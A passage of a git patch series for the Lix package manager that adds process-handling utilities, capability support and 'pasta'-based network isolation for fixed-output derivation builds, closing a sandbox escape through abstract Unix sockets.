guessOrInventPathFromFD(parentfd)); -+ for (auto & i : readDirectory(dir.get(), name, interruptible)) -+ _deletePath(dirfd(dir.get()), i.name, bytesFreed, interruptible); - } - - int flags = S_ISDIR(st.st_mode) ? AT_REMOVEDIR : 0; - if (unlinkat(parentfd, name.c_str(), flags) == -1) { - if (errno == ENOENT) return; -- throw SysError("cannot unlink '%1%'", path); -+ throw SysError("cannot unlink '%1%' in directory '%2%'", name, guessOrInventPathFromFD(parentfd)); - } - } - -@@ -548,7 +560,7 @@ static void _deletePath(const Path & path, uint64_t & bytesFreed, bool interrupt - throw SysError("opening directory '%1%'", path); - } - -- _deletePath(dirfd.get(), path, bytesFreed, interruptible); -+ _deletePath(dirfd.get(), std::string(baseNameOf(path)), bytesFreed, interruptible); - } - - --- -2.49.0 - - -From 500a7406a0f6fe2d9132da70d10688cfc7fa598d Mon Sep 17 00:00:00 2001 -From: eldritch horrors -Date: Mon, 17 Mar 2025 15:45:27 +0100 -Subject: [SECURITY FIX 07/12] libutil: make RunningProgram more useful - -make it moveable, make it killable, and add a stdout fd accessor. - -Change-Id: I2387cbe8ac67b899a322cd6c7d306ef9ea7abcd0 ---- - lix/libcmd/repl.cc | 4 ++-- - lix/libfetchers/git.cc | 2 +- - lix/libstore/build/derivation-goal.cc | 2 +- - lix/libutil/processes.cc | 19 +++++++++++++++++-- - lix/libutil/processes.hh | 16 +++++++++++++++- - 5 files changed, 36 insertions(+), 7 deletions(-) - -diff --git a/lix/libcmd/repl.cc b/lix/libcmd/repl.cc -index 50ce1cd3a..5afebea93 100644 ---- a/lix/libcmd/repl.cc -+++ b/lix/libcmd/repl.cc -@@ -254,7 +254,7 @@ void runNix(Path program, const Strings & args) - .program = settings.nixBinDir+ "/" + program, - .args = args, - .environment = subprocessEnv, -- }).wait(); -+ }).waitAndCheck(); - - return; - } -@@ -672,7 +672,7 @@ ProcessLineResult NixRepl::processLine(std::string line) - - // runProgram redirects stdout to a StringSink, - // using runProgram2 to allow editors to display their UI -- runProgram2(RunOptions { .program = editor, .searchPath = true, .args = args }).wait(); -+ runProgram2(RunOptions { .program = editor, .searchPath = true, .args = args }).waitAndCheck(); - - // Reload right after exiting the editor if path is not in store - // Store is immutable, so there could be no changes, so there's no need to reload -diff --git a/lix/libfetchers/git.cc b/lix/libfetchers/git.cc -index b44ea997a..3231ec011 100644 ---- a/lix/libfetchers/git.cc -+++ b/lix/libfetchers/git.cc -@@ -777,7 +777,7 @@ struct GitInputScheme : InputScheme - .args = { "-C", repoDir, "--git-dir", gitDir, "archive", input.getRev()->gitRev() }, - .captureStdout = true, - }); -- Finally const _wait([&] { proc.wait(); }); -+ Finally const _wait([&] { proc.waitAndCheck(); }); - - unpackTarfile(*proc.getStdout(), tmpDir); - } -diff --git a/lix/libstore/build/derivation-goal.cc b/lix/libstore/build/derivation-goal.cc -index 6767bc37e..69e654490 100644 ---- a/lix/libstore/build/derivation-goal.cc -+++ b/lix/libstore/build/derivation-goal.cc -@@ -895,7 +895,7 @@ void runPostBuildHook( - }); - Finally const _wait([&] { - try { -- proc.wait(); -+ proc.waitAndCheck(); - } catch (nix::Error & e) { - e.addTrace(nullptr, - "while running the post-build-hook %s for derivation %s", -diff --git a/lix/libutil/processes.cc b/lix/libutil/processes.cc -index e2cc2515b..6b24d943f 100644 ---- a/lix/libutil/processes.cc -+++ b/lix/libutil/processes.cc -@@ -249,7 +249,7 @@ std::pair runProgram(RunOptions && options) - - try { - auto proc = runProgram2(options); -- Finally const _wait([&] { proc.wait(); }); -+ Finally const _wait([&] { proc.waitAndCheck(); }); - stdout = proc.getStdout()->drain(); - } catch (ExecError & e) { - status = e.status; -@@ -277,7 +277,22 @@ RunningProgram::~RunningProgram() - } - } - --void RunningProgram::wait() -+std::tuple, int> RunningProgram::release() -+{ -+ return {pid.release(), std::move(stdoutSource), stdout_.release()}; -+} -+ -+int RunningProgram::kill() -+{ -+ return pid.kill(); -+} -+ -+int RunningProgram::wait() -+{ -+ return pid.wait(); -+} -+ -+void RunningProgram::waitAndCheck() - { - if (std::uncaught_exceptions() == 0) { - int status = pid.wait(); -diff --git a/lix/libutil/processes.hh b/lix/libutil/processes.hh -index e9e4eb15a..01c42b9fc 100644 ---- a/lix/libutil/processes.hh -+++ b/lix/libutil/processes.hh -@@ -102,9 +102,23 @@ private: - - public: - RunningProgram() = default; -+ RunningProgram(RunningProgram &&) = default; -+ RunningProgram & operator=(RunningProgram &&) = default; - ~RunningProgram(); - -- void wait(); -+ explicit operator bool() const { return bool(pid); } -+ -+ std::tuple, int> release(); -+ -+ int kill(); -+ [[nodiscard]] -+ int wait(); -+ void waitAndCheck(); -+ -+ std::optional getStdoutFD() const -+ { -+ return stdout_ ? std::optional(stdout_.get()) : std::nullopt; -+ } - - Source * getStdout() const { return stdoutSource.get(); }; - }; --- -2.49.0 - - -From 7f127054bec18da811bf3364909870f7a54f6b8d Mon Sep 17 00:00:00 2001 -From: eldritch horrors -Date: Mon, 17 Mar 2025 15:45:27 +0100 -Subject: [SECURITY FIX 08/12] libutil: add generic redirections runProgram2 - -explicit stderr redirection makes mergeStderrToStdout unnecessary also. - -Change-Id: I63de929e6dc53f6c5ceb2d43c2ce288bfc04d872 ---- - lix/libfetchers/git.cc | 23 +++++++++++++++++------ - lix/libstore/build/derivation-goal.cc | 2 +- - lix/libstore/globals.cc | 12 ++++++++++-- - lix/libstore/ssh.cc | 1 + - lix/libutil/processes.cc | 8 +++++--- - lix/libutil/processes.hh | 7 ++++++- - 6 files changed, 40 insertions(+), 13 deletions(-) - -diff --git a/lix/libfetchers/git.cc b/lix/libfetchers/git.cc -index 3231ec011..aa3ef7150 100644 ---- a/lix/libfetchers/git.cc -+++ b/lix/libfetchers/git.cc -@@ -22,6 +22,7 @@ - #include - #include - #include -+#include - - using namespace std::string_literals; - -@@ -164,11 +165,19 @@ WorkdirInfo getWorkdirInfo(const Input & input, const Path & workdir) - - /* Check whether HEAD points to something that looks like a commit, - since that is the refrence we want to use later on. */ -- auto result = runProgram(RunOptions { -+ auto result = runProgram(RunOptions{ - .program = "git", -- .args = { "-C", workdir, "--git-dir", gitDir, "rev-parse", "--verify", "--no-revs", "HEAD^{commit}" }, -+ .args = -+ {"-C", -+ workdir, -+ "--git-dir", -+ gitDir, -+ "rev-parse", -+ "--verify", -+ "--no-revs", -+ "HEAD^{commit}"}, - .environment = env, -- .mergeStderrToStdout = true -+ .redirections = {{.from = STDERR_FILENO, .to = STDOUT_FILENO}}, - }); - auto exitCode = WEXITSTATUS(result.first); - auto errorMessage = result.second; -@@ -709,10 +718,12 @@ struct GitInputScheme : InputScheme - AutoDelete delTmpDir(tmpDir, true); - PathFilter filter = defaultPathFilter; - -- auto result = runProgram(RunOptions { -+ auto result = runProgram(RunOptions{ - .program = "git", -- .args = { "-C", repoDir, "--git-dir", gitDir, "cat-file", "commit", input.getRev()->gitRev() }, -- .mergeStderrToStdout = true -+ .args = -+ {"-C", repoDir, "--git-dir", gitDir, "cat-file", "commit", input.getRev()->gitRev() -+ }, -+ .redirections = {{.from = STDERR_FILENO, .to = STDOUT_FILENO}}, - }); - if (WEXITSTATUS(result.first) == 128 - && result.second.find("bad file") != std::string::npos) -diff --git a/lix/libstore/build/derivation-goal.cc b/lix/libstore/build/derivation-goal.cc -index 69e654490..48d38ffb4 100644 ---- a/lix/libstore/build/derivation-goal.cc -+++ b/lix/libstore/build/derivation-goal.cc -@@ -891,7 +891,7 @@ void runPostBuildHook( - .program = settings.postBuildHook, - .environment = hookEnvironment, - .captureStdout = true, -- .mergeStderrToStdout = true, -+ .redirections = {{.from = STDERR_FILENO, .to = STDOUT_FILENO}}, - }); - Finally const _wait([&] { - try { -diff --git a/lix/libstore/globals.cc b/lix/libstore/globals.cc -index 9221da32b..b4328b068 100644 ---- a/lix/libstore/globals.cc -+++ b/lix/libstore/globals.cc -@@ -242,9 +242,17 @@ StringSet Settings::getDefaultExtraPlatforms() - // machines. Note that we can’t force processes from executing - // x86_64 in aarch64 environments or vice versa since they can - // always exec with their own binary preferences. -- if (std::string{SYSTEM} == "aarch64-darwin" && -- runProgram(RunOptions {.program = "arch", .args = {"-arch", "x86_64", "/usr/bin/true"}, .mergeStderrToStdout = true}).first == 0) -+ if (std::string{SYSTEM} == "aarch64-darwin" -+ && runProgram(RunOptions{ -+ .program = "arch", -+ .args = {"-arch", "x86_64", "/usr/bin/true"}, -+ .redirections = {{.from = STDERR_FILENO, .to = STDOUT_FILENO}} -+ } -+ ).first -+ == 0) -+ { - extraPlatforms.insert("x86_64-darwin"); -+ } - #endif - - return extraPlatforms; -diff --git a/lix/libstore/ssh.cc b/lix/libstore/ssh.cc -index b43cc50a9..2b329f231 100644 ---- a/lix/libstore/ssh.cc -+++ b/lix/libstore/ssh.cc -@@ -8,6 +8,7 @@ - #include "lix/libutil/strings.hh" - #include "lix/libstore/temporary-dir.hh" - #include -+#include - - namespace nix { - -diff --git a/lix/libutil/processes.cc b/lix/libutil/processes.cc -index 6b24d943f..0dcd96ba9 100644 ---- a/lix/libutil/processes.cc -+++ b/lix/libutil/processes.cc -@@ -330,9 +330,11 @@ RunningProgram runProgram2(const RunOptions & options) - replaceEnv(*options.environment); - if (options.captureStdout && dup2(out.writeSide.get(), STDOUT_FILENO) == -1) - throw SysError("dupping stdout"); -- if (options.mergeStderrToStdout) -- if (dup2(STDOUT_FILENO, STDERR_FILENO) == -1) -- throw SysError("cannot dup stdout into stderr"); -+ for (auto redirection : options.redirections) { -+ if (dup2(redirection.to, redirection.from) == -1) { -+ throw SysError("dupping fd %i to %i", redirection.from, redirection.to); -+ } -+ } - - if (options.chdir && chdir((*options.chdir).c_str()) == -1) - throw SysError("chdir failed"); -diff --git a/lix/libutil/processes.hh b/lix/libutil/processes.hh -index 01c42b9fc..3311b8fb8 100644 ---- a/lix/libutil/processes.hh -+++ b/lix/libutil/processes.hh -@@ -76,6 +76,11 @@ std::string runProgram(Path program, bool searchPath = false, - - struct RunOptions - { -+ struct Redirection -+ { -+ int from, to; -+ }; -+ - Path program; - bool searchPath = true; - Strings args = {}; -@@ -84,8 +89,8 @@ struct RunOptions - std::optional chdir = {}; - std::optional> environment = {}; - bool captureStdout = false; -- bool mergeStderrToStdout = false; - bool isInteractive = false; -+ std::vector redirections; - }; - - struct [[nodiscard("you must call RunningProgram::wait()")]] RunningProgram --- -2.49.0 - - -From 582f775ac358f9da682f707a3f58f228f7fdaed8 Mon Sep 17 00:00:00 2001 -From: eldritch horrors -Date: Fri, 28 Mar 2025 23:16:01 +0100 -Subject: [SECURITY FIX 09/12] libutil: add capability support to runProgram2 - -launching pasta to not run as root will ambient require capabilities. - -Change-Id: I1dd2506a1fa3944a9d9062123ef8a74903c597ea ---- - lix/libutil/processes.cc | 47 ++++++++++++++++++++++++++++++++++++++++ - lix/libutil/processes.hh | 3 +++ - 2 files changed, 50 insertions(+) - -diff --git a/lix/libutil/processes.cc b/lix/libutil/processes.cc -index 0dcd96ba9..2f214e552 100644 ---- a/lix/libutil/processes.cc -+++ b/lix/libutil/processes.cc -@@ -22,6 +22,7 @@ - #endif - - #ifdef __linux__ -+# include - # include - # include - #endif -@@ -338,6 +339,13 @@ RunningProgram runProgram2(const RunOptions & options) - - if (options.chdir && chdir((*options.chdir).c_str()) == -1) - throw SysError("chdir failed"); -+ -+#if __linux__ -+ if (!options.caps.empty() && prctl(PR_SET_KEEPCAPS, 1) < 0) { -+ throw SysError("setting keep-caps failed"); -+ } -+#endif -+ - if (options.gid && setgid(*options.gid) == -1) - throw SysError("setgid failed"); - /* Drop all other groups if we're setgid. */ -@@ -346,6 +354,45 @@ RunningProgram runProgram2(const RunOptions & options) - if (options.uid && setuid(*options.uid) == -1) - throw SysError("setuid failed"); - -+#if __linux__ -+ if (!options.caps.empty()) { -+ if (prctl(PR_SET_KEEPCAPS, 0)) { -+ throw SysError("clearing keep-caps failed"); -+ } -+ -+ // we do the capability dance like this to avoid a dependency -+ // on libcap, which has a rather large build closure and many -+ // more features that we need for now. maybe some other time. -+ static constexpr uint32_t LINUX_CAPABILITY_VERSION_3 = 0x20080522; -+ static constexpr uint32_t LINUX_CAPABILITY_U32S_3 = 2; -+ struct user_cap_header_struct -+ { -+ uint32_t version; -+ int pid; -+ } hdr = {LINUX_CAPABILITY_VERSION_3, 0}; -+ struct user_cap_data_struct -+ { -+ uint32_t effective; -+ uint32_t permitted; -+ uint32_t inheritable; -+ } data[LINUX_CAPABILITY_U32S_3] = {}; -+ for (auto cap : options.caps) { -+ assert(cap / 32 < LINUX_CAPABILITY_U32S_3); -+ data[cap / 32].permitted |= 1 << (cap % 32); -+ data[cap / 32].inheritable |= 1 << (cap % 32); -+ } -+ if (syscall(SYS_capset, &hdr, data)) { -+ throw SysError("couldn't set capabilities"); -+ } -+ -+ for (auto cap : options.caps) { -+ if (prctl(PR_CAP_AMBIENT, PR_CAP_AMBIENT_RAISE, cap, 0, 0) < 0) { -+ throw SysError("couldn't set ambient caps"); -+ } -+ } -+ } -+#endif -+ - Strings args_(options.args); - args_.push_front(options.program); - -diff --git a/lix/libutil/processes.hh b/lix/libutil/processes.hh -index 3311b8fb8..6ca7f3bdf 100644 ---- a/lix/libutil/processes.hh -+++ b/lix/libutil/processes.hh -@@ -91,6 +91,9 @@ struct RunOptions - bool captureStdout = false; - bool isInteractive = false; - std::vector redirections; -+#if __linux__ -+ std::set caps; -+#endif - }; - - struct [[nodiscard("you must call RunningProgram::wait()")]] RunningProgram --- -2.49.0 - - -From 6a61eea281de2c4d7d2b4f375511db0dacfec5ec Mon Sep 17 00:00:00 2001 -From: eldritch horrors -Date: Fri, 28 Mar 2025 23:04:56 +0100 -Subject: [SECURITY FIX 10/12] libstore: use pasta for FODs if available - -This allows using a userspace program, pasta, to handle comms between -the build sandbox, and the outside world; allowing for full isolation -including the network namespace, closing the "fixed-output derivation -talks to the host over an abstract domain socket" hole for good. - -Co-Authored-By: Puck Meerburg -Change-Id: Ifd499b7dbb3784600a6e842fede65fc031ff9f15 ---- - doc/manual/rl-next/pasta.md | 20 +++ - lix/libstore/build/local-derivation-goal.cc | 40 +++++- - lix/libstore/build/local-derivation-goal.hh | 15 +++ - lix/libstore/globals.cc | 3 + - lix/libstore/meson.build | 7 ++ - lix/libstore/platform/linux.cc | 133 +++++++++++++++++++- - lix/libstore/platform/linux.hh | 18 +++ - lix/libstore/settings/pasta-path.md | 10 ++ - meson.build | 7 ++ - meson.options | 4 + - misc/passt.nix | 64 ++++++++++ - package.nix | 6 + - tests/nixos/ca-fd-leak/default.nix | 90 ------------- - tests/nixos/ca-fd-leak/sender.c | 65 ---------- - tests/nixos/ca-fd-leak/smuggler.c | 66 ---------- - tests/nixos/default.nix | 2 - - tests/nixos/fetchurl.nix | 2 +- - 17 files changed, 323 insertions(+), 229 deletions(-) - create mode 100644 doc/manual/rl-next/pasta.md - create mode 100644 lix/libstore/settings/pasta-path.md - create mode 100644 misc/passt.nix - delete mode 100644 tests/nixos/ca-fd-leak/default.nix - delete mode 100644 tests/nixos/ca-fd-leak/sender.c - delete mode 100644 tests/nixos/ca-fd-leak/smuggler.c - -diff --git a/doc/manual/rl-next/pasta.md b/doc/manual/rl-next/pasta.md -new file mode 100644 -index 000000000..a7b7aa952 ---- /dev/null -+++ b/doc/manual/rl-next/pasta.md -@@ -0,0 +1,20 @@ -+--- -+synopsis: "Fixed output derivations can be run using `pasta` network isolation" -+cls: [] -+issues: [fj#285] -+category: "Breaking Changes" -+credits: [horrors, puck] -+--- -+ -+Fixed output derivations traditionally run in the host network namespace. -+On Linux this allows such derivations to communicate with other sandboxes -+or the host using the abstract Unix domains socket namespace; this hasn't -+been unproblematic in the past and has been used in two distinct exploits -+to break out of the sandbox. For this reason fixed output derivations can -+now run in a network namespace (provided by [`pasta`]), restricted to TCP -+and UDP communication with the rest of the world. When enabled this could -+be a breaking change and we classify it as such, even though we don't yet -+enable or require such isolation by default. We may enforce this in later -+releases of Lix once we have sufficient confidence that breakage is rare. -+ -+[`pasta`]: https://passt.top/ -diff --git a/lix/libstore/build/local-derivation-goal.cc b/lix/libstore/build/local-derivation-goal.cc -index c33bd8283..7ccb0ad33 100644 ---- a/lix/libstore/build/local-derivation-goal.cc -+++ b/lix/libstore/build/local-derivation-goal.cc -@@ -13,6 +13,8 @@ - #include "lix/libutil/archive.hh" - #include "lix/libstore/daemon.hh" - #include "lix/libutil/regex.hh" -+#include "lix/libutil/file-descriptor.hh" -+#include "lix/libutil/file-system.hh" - #include "lix/libutil/result.hh" - #include "lix/libutil/topo-sort.hh" - #include "lix/libutil/json.hh" -@@ -24,6 +26,7 @@ - #include "lix/libutil/mount.hh" - #include "lix/libutil/strings.hh" - #include "lix/libutil/thread-name.hh" -+#include "platform/linux.hh" - - #include - #include -@@ -1073,7 +1076,7 @@ void LocalDerivationGoal::runChild() - /* N.B. it is realistic that these paths might not exist. It - happens when testing Nix building fixed-output derivations - within a pure derivation. */ -- for (auto & path : { "/etc/resolv.conf", "/etc/services", "/etc/hosts" }) -+ for (auto & path : { "/etc/services", "/etc/hosts" }) - if (pathExists(path)) { - // Copy the actual file, not the symlink, because we don't know where - // the symlink is pointing, and we don't want to chase down the entire -@@ -1094,6 +1097,11 @@ void LocalDerivationGoal::runChild() - copyFile(path, chrootRootDir + path, { .followSymlinks = true }); - } - -+ if (pathExists("/etc/resolv.conf")) { -+ const auto resolvConf = rewriteResolvConf(readFile("/etc/resolv.conf")); -+ writeFile(chrootRootDir + "/etc/resolv.conf", resolvConf); -+ } -+ - if (settings.caFile != "" && pathExists(settings.caFile)) { - // For the same reasons as above, copy the CA certificates file too. - // It should be even less likely to change during the build than resolv.conf. -@@ -1221,6 +1229,36 @@ void LocalDerivationGoal::runChild() - if (setuid(sandboxUid()) == -1) - throw SysError("setuid failed"); - -+ if (runPasta) { -+ // wait for the pasta interface to appear. pasta can't signal us when -+ // it's done setting up the namespace, so we have to wait for a while -+ AutoCloseFD fd(socket(PF_INET, SOCK_DGRAM, IPPROTO_IP)); -+ if (!fd) throw SysError("cannot open IP socket"); -+ -+ struct ifreq ifr; -+ strcpy(ifr.ifr_name, LinuxLocalDerivationGoal::PASTA_NS_IFNAME); -+ // wait two minutes for the interface to appear. if it does not do so -+ // we are either grossly overloaded, or pasta startup failed somehow. -+ static constexpr int SINGLE_WAIT_US = 1000; -+ static constexpr int TOTAL_WAIT_US = 120'000'000; -+ for (unsigned tries = 0; ; tries++) { -+ if (tries > TOTAL_WAIT_US / SINGLE_WAIT_US) { -+ throw Error( -+ "sandbox network setup timed out, please check daemon logs for " -+ "possible error output." -+ ); -+ } else if (ioctl(fd.get(), SIOCGIFFLAGS, &ifr) == 0) { -+ if ((ifr.ifr_ifru.ifru_flags & IFF_UP) != 0) { -+ break; -+ } -+ } else if (errno == ENODEV) { -+ usleep(SINGLE_WAIT_US); -+ } else { -+ throw SysError("cannot get loopback interface flags"); -+ } -+ } -+ } -+ - setUser = false; - } - #endif -diff --git a/lix/libstore/build/local-derivation-goal.hh b/lix/libstore/build/local-derivation-goal.hh -index eb2fe50f3..a0031e141 100644 ---- a/lix/libstore/build/local-derivation-goal.hh -+++ b/lix/libstore/build/local-derivation-goal.hh -@@ -285,6 +285,12 @@ struct LocalDerivationGoal : public DerivationGoal - protected: - using DerivationGoal::DerivationGoal; - -+ /** -+ * Whether to run pasta for network-endowed derivations. Running pasta -+ * currently requires actively waiting for its net-ns setup to finish. -+ */ -+ bool runPasta = false; -+ - /** - * Setup dependencies outside the sandbox. - * Called in the parent nix process. -@@ -294,6 +300,15 @@ protected: - throw Error("sandboxing builds is not supported on this platform"); - }; - -+ /** -+ * Rewrite resolv.conf for use in the sandbox. Used in the linux platform -+ * to replace nameservers * when using pasta for fixed output derivations. -+ */ -+ virtual std::string rewriteResolvConf(std::string fromHost) -+ { -+ return fromHost; -+ } -+ - /** - * Create a new process that runs `openSlave` and `runChild` - * On some platforms this process is created with sandboxing flags. -diff --git a/lix/libstore/globals.cc b/lix/libstore/globals.cc -index b4328b068..7fc4c6a21 100644 ---- a/lix/libstore/globals.cc -+++ b/lix/libstore/globals.cc -@@ -87,6 +87,9 @@ Settings::Settings() - #if defined(__linux__) && defined(SANDBOX_SHELL) - sandboxPaths.setDefault(tokenizeString("/bin/sh=" SANDBOX_SHELL)); - #endif -+#if defined(__linux__) && defined(PASTA_PATH) -+ pastaPath.setDefault(PASTA_PATH); -+#endif - - /* chroot-like behavior from Apple's sandbox */ - #if __APPLE__ -diff --git a/lix/libstore/meson.build b/lix/libstore/meson.build -index e59ae01b5..628ec1e55 100644 ---- a/lix/libstore/meson.build -+++ b/lix/libstore/meson.build -@@ -82,6 +82,7 @@ libstore_setting_definitions = files( - 'settings/narinfo-cache-negative-ttl.md', - 'settings/narinfo-cache-positive-ttl.md', - 'settings/netrc-file.md', -+ 'settings/pasta-path.md', - 'settings/plugin-files.md', - 'settings/post-build-hook.md', - 'settings/pre-build-hook.md', -@@ -326,6 +327,12 @@ elif busybox.found() - } - endif - -+if pasta.found() -+ cpp_str_defines += { -+ 'PASTA_PATH': pasta.full_path(), -+ } -+endif -+ - cpp_args = [] - - foreach name, value : cpp_str_defines -diff --git a/lix/libstore/platform/linux.cc b/lix/libstore/platform/linux.cc -index f8b721475..722135081 100644 ---- a/lix/libstore/platform/linux.cc -+++ b/lix/libstore/platform/linux.cc -@@ -1,16 +1,25 @@ - #include "lix/libstore/build/worker.hh" - #include "lix/libutil/cgroup.hh" -+#include "lix/libutil/file-descriptor.hh" -+#include "lix/libutil/file-system.hh" - #include "lix/libutil/finally.hh" - #include "lix/libstore/gc-store.hh" -+#include "lix/libutil/processes.hh" - #include "lix/libutil/signals.hh" - #include "lix/libstore/platform/linux.hh" - #include "lix/libutil/regex.hh" - #include "lix/libutil/strings.hh" - -+#include -+#include - #include - #include - #include - -+#if __linux__ -+#include -+#endif -+ - #if HAVE_SECCOMP - #include - #include -@@ -61,6 +70,14 @@ static void readFileRoots(const char * path, UncheckedRoots & roots) - } - } - -+LinuxLocalDerivationGoal::~LinuxLocalDerivationGoal() -+{ -+ // pasta being left around mostly happens when builds are aborted -+ if (pastaPid) { -+ pastaPid.kill(); -+ } -+} -+ - void LinuxLocalStore::findPlatformRoots(UncheckedRoots & unchecked) - { - auto procDir = AutoCloseDir{opendir("/proc")}; -@@ -859,6 +876,26 @@ void LinuxLocalDerivationGoal::prepareSandbox() - } - } - -+std::string LinuxLocalDerivationGoal::rewriteResolvConf(std::string fromHost) -+{ -+ if (!runPasta) { -+ return fromHost; -+ } -+ -+ static constexpr auto flags = std::regex::ECMAScript | std::regex::multiline; -+ static auto lineRegex = regex::parse("^nameserver\\s.*$", flags); -+ static auto v4Regex = regex::parse("^nameserver\\s+\\d{1,3}\\.", flags); -+ static auto v6Regex = regex::parse("^nameserver.*:", flags); -+ std::string nsInSandbox = "\n"; -+ if (std::regex_search(fromHost, v4Regex)) { -+ nsInSandbox += fmt("nameserver %s\n", PASTA_HOST_IPV4); -+ } -+ if (std::regex_search(fromHost, v6Regex)) { -+ nsInSandbox += fmt("nameserver %s\n", PASTA_HOST_IPV6); -+ } -+ return std::regex_replace(fromHost, lineRegex, "") + nsInSandbox; -+} -+ - Pid LinuxLocalDerivationGoal::startChild(std::function openSlave) - { - #if HAVE_SECCOMP -@@ -886,9 +923,11 @@ Pid LinuxLocalDerivationGoal::startChild(std::function openSlave) - - - The private network namespace ensures that the builder - cannot talk to the outside world (or vice versa). It -- only has a private loopback interface. (Fixed-output -- derivations are not run in a private network namespace -- to allow functions like fetchurl to work.) -+ only has a private loopback interface. If a copy of -+ `pasta` is available, Fixed-output derivations are run -+ inside a private network namespace with internet -+ access, otherwise they are run in the host's network -+ namespace, to allow functions like fetchurl to work. - - - The IPC namespace prevents the builder from communicating - with outside processes using SysV IPC mechanisms (shared -@@ -909,6 +948,10 @@ Pid LinuxLocalDerivationGoal::startChild(std::function openSlave) - if (derivationType->isSandboxed()) - privateNetwork = true; - -+ // don't launch pasta unless we have a tun device. in a build sandbox we -+ // commonly do not, and trying to run pasta anyway naturally won't work. -+ runPasta = !privateNetwork && settings.pastaPath != "" && pathExists("/dev/net/tun"); -+ - userNamespaceSync.create(); - - Pipe sendPid; -@@ -933,7 +976,9 @@ Pid LinuxLocalDerivationGoal::startChild(std::function openSlave) - - ProcessOptions options; - options.cloneFlags = CLONE_NEWPID | CLONE_NEWNS | CLONE_NEWIPC | CLONE_NEWUTS | CLONE_PARENT | SIGCHLD; -- if (privateNetwork) -+ // we always want to create a new network namespace for pasta, even when -+ // we can't actually run it. not doing so hides bugs and impairs purity. -+ if (settings.pastaPath != "" || privateNetwork) - options.cloneFlags |= CLONE_NEWNET; - if (usingUserNamespace) - options.cloneFlags |= CLONE_NEWUSER; -@@ -1004,6 +1049,67 @@ Pid LinuxLocalDerivationGoal::startChild(std::function openSlave) - /* Signal the builder that we've updated its user namespace. */ - writeFull(userNamespaceSync.writeSide.get(), "1"); - -+ if (runPasta) { -+ // Bring up pasta, for handling FOD networking. We don't let it daemonize -+ // itself for process managements reasons and kill it manually when done. -+ -+ // TODO add a new sandbox mode flag to disable all or parts of this? -+ Strings args = { -+ // clang-format off -+ "--quiet", -+ "--foreground", -+ "--config-net", -+ "--gateway", PASTA_HOST_IPV4, -+ "--address", PASTA_CHILD_IPV4, "--netmask", PASTA_IPV4_NETMASK, -+ "--dns-forward", PASTA_HOST_IPV4, -+ "--gateway", PASTA_HOST_IPV6, -+ "--address", PASTA_CHILD_IPV6, -+ "--dns-forward", PASTA_HOST_IPV6, -+ "--ns-ifname", PASTA_NS_IFNAME, -+ "--no-netns-quit", -+ "--netns", "/proc/self/fd/0", -+ // clang-format on -+ }; -+ -+ AutoCloseFD netns(open(fmt("/proc/%i/ns/net", pid.get()).c_str(), O_RDONLY | O_CLOEXEC)); -+ if (!netns) { -+ throw SysError("failed to open netns"); -+ } -+ -+ AutoCloseFD userns; -+ if (usingUserNamespace) { -+ userns = -+ AutoCloseFD(open(fmt("/proc/%i/ns/user", pid.get()).c_str(), O_RDONLY | O_CLOEXEC)); -+ if (!userns) { -+ throw SysError("failed to open userns"); -+ } -+ args.push_back("--userns"); -+ args.push_back("/proc/self/fd/1"); -+ } -+ -+ // FIXME ideally we want a notification when pasta exits, but we cannot do -+ // this at present. without such support we need to busy-wait for pasta to -+ // set up the namespace completely and time out after a while for the case -+ // of pasta launch failures. pasta logs go to syslog only for now as well. -+ pastaPid = runProgram2({ -+ .program = settings.pastaPath, -+ .args = args, -+ .uid = useBuildUsers() ? std::optional(buildUser->getUID()) : std::nullopt, -+ .gid = useBuildUsers() ? std::optional(buildUser->getGID()) : std::nullopt, -+ // TODO these redirections are crimes. pasta closes all non-stdio file -+ // descriptors very early and lacks fd arguments for the namespaces we -+ // want it to join. we cannot have pasta join the namespaces via pids; -+ // doing so requires capabilities which pasta *also* drops very early. -+ .redirections = { -+ {.from = 0, .to = netns.get()}, -+ {.from = 1, .to = userns ? userns.get() : 1}, -+ }, -+ .caps = getuid() == 0 -+ ? std::set{CAP_SYS_ADMIN, CAP_NET_BIND_SERVICE} -+ : std::set{}, -+ }); -+ } -+ - return pid; - } - -@@ -1050,5 +1156,24 @@ void LinuxLocalDerivationGoal::killSandbox(bool getStats) - This avoids processes unrelated to the build being killed, thus avoiding: https://git.lix.systems/lix-project/lix/issues/667 */ - LocalDerivationGoal::killSandbox(getStats); - } -+ -+ if (pastaPid) { -+ // FIXME we really want to send SIGTERM instead and wait for pasta to exit, -+ // but we do not have the infra for that right now. we send SIGKILL instead -+ // and treat exiting with that as a successful exit code until such a time. -+ // this is not likely to cause problems since pasta runs as the build user, -+ // but not inside the build sandbox. if it's killed it's either due to some -+ // external influence (in which case the sandboxed child will probably fail -+ // due to network errors, if it used the network at all) or some bug in lix -+ if (auto status = pastaPid.kill(); !WIFSIGNALED(status) || WTERMSIG(status) != SIGKILL) { -+ if (WIFSIGNALED(status)) { -+ throw Error("pasta killed by signal %i", WTERMSIG(status)); -+ } else if (WIFEXITED(status)) { -+ throw Error("pasta exited with code %i", WEXITSTATUS(status)); -+ } else { -+ throw Error("pasta exited with status %i", status); -+ } -+ } -+ } - } - } -diff --git a/lix/libstore/platform/linux.hh b/lix/libstore/platform/linux.hh -index 9dba7f1de..47e33f240 100644 ---- a/lix/libstore/platform/linux.hh -+++ b/lix/libstore/platform/linux.hh -@@ -4,6 +4,7 @@ - #include "lix/libstore/build/local-derivation-goal.hh" - #include "lix/libstore/gc-store.hh" - #include "lix/libstore/local-store.hh" -+#include "lix/libutil/processes.hh" - - namespace nix { - -@@ -33,6 +34,20 @@ class LinuxLocalDerivationGoal : public LocalDerivationGoal - public: - using LocalDerivationGoal::LocalDerivationGoal; - -+ ~LinuxLocalDerivationGoal(); -+ -+ // NOTE these are all C strings because macos doesn't have constexpr std::string -+ // constructors, and std::string_view is a pain to turn into std::strings again. -+ static constexpr const char * PASTA_NS_IFNAME = "eth0"; -+ static constexpr const char * PASTA_HOST_IPV4 = "169.254.1.1"; -+ static constexpr const char * PASTA_CHILD_IPV4 = "169.254.1.2"; -+ static constexpr const char * PASTA_IPV4_NETMASK = "16"; -+ // randomly chosen 6to4 prefix, mapping the same ipv4ll as above. -+ // even if this id is used on the daemon host there should not be -+ // any collisions since ipv4ll should never be addressed by ipv6. -+ static constexpr const char * PASTA_HOST_IPV6 = "64:ff9b:1:4b8e:472e:a5c8:a9fe:0101"; -+ static constexpr const char * PASTA_CHILD_IPV6 = "64:ff9b:1:4b8e:472e:a5c8:a9fe:0102"; -+ - private: - /* - * Destroy the cgroup otherwise another build -@@ -41,6 +56,8 @@ private: - */ - void cleanupHookFinally() override; - -+ RunningProgram 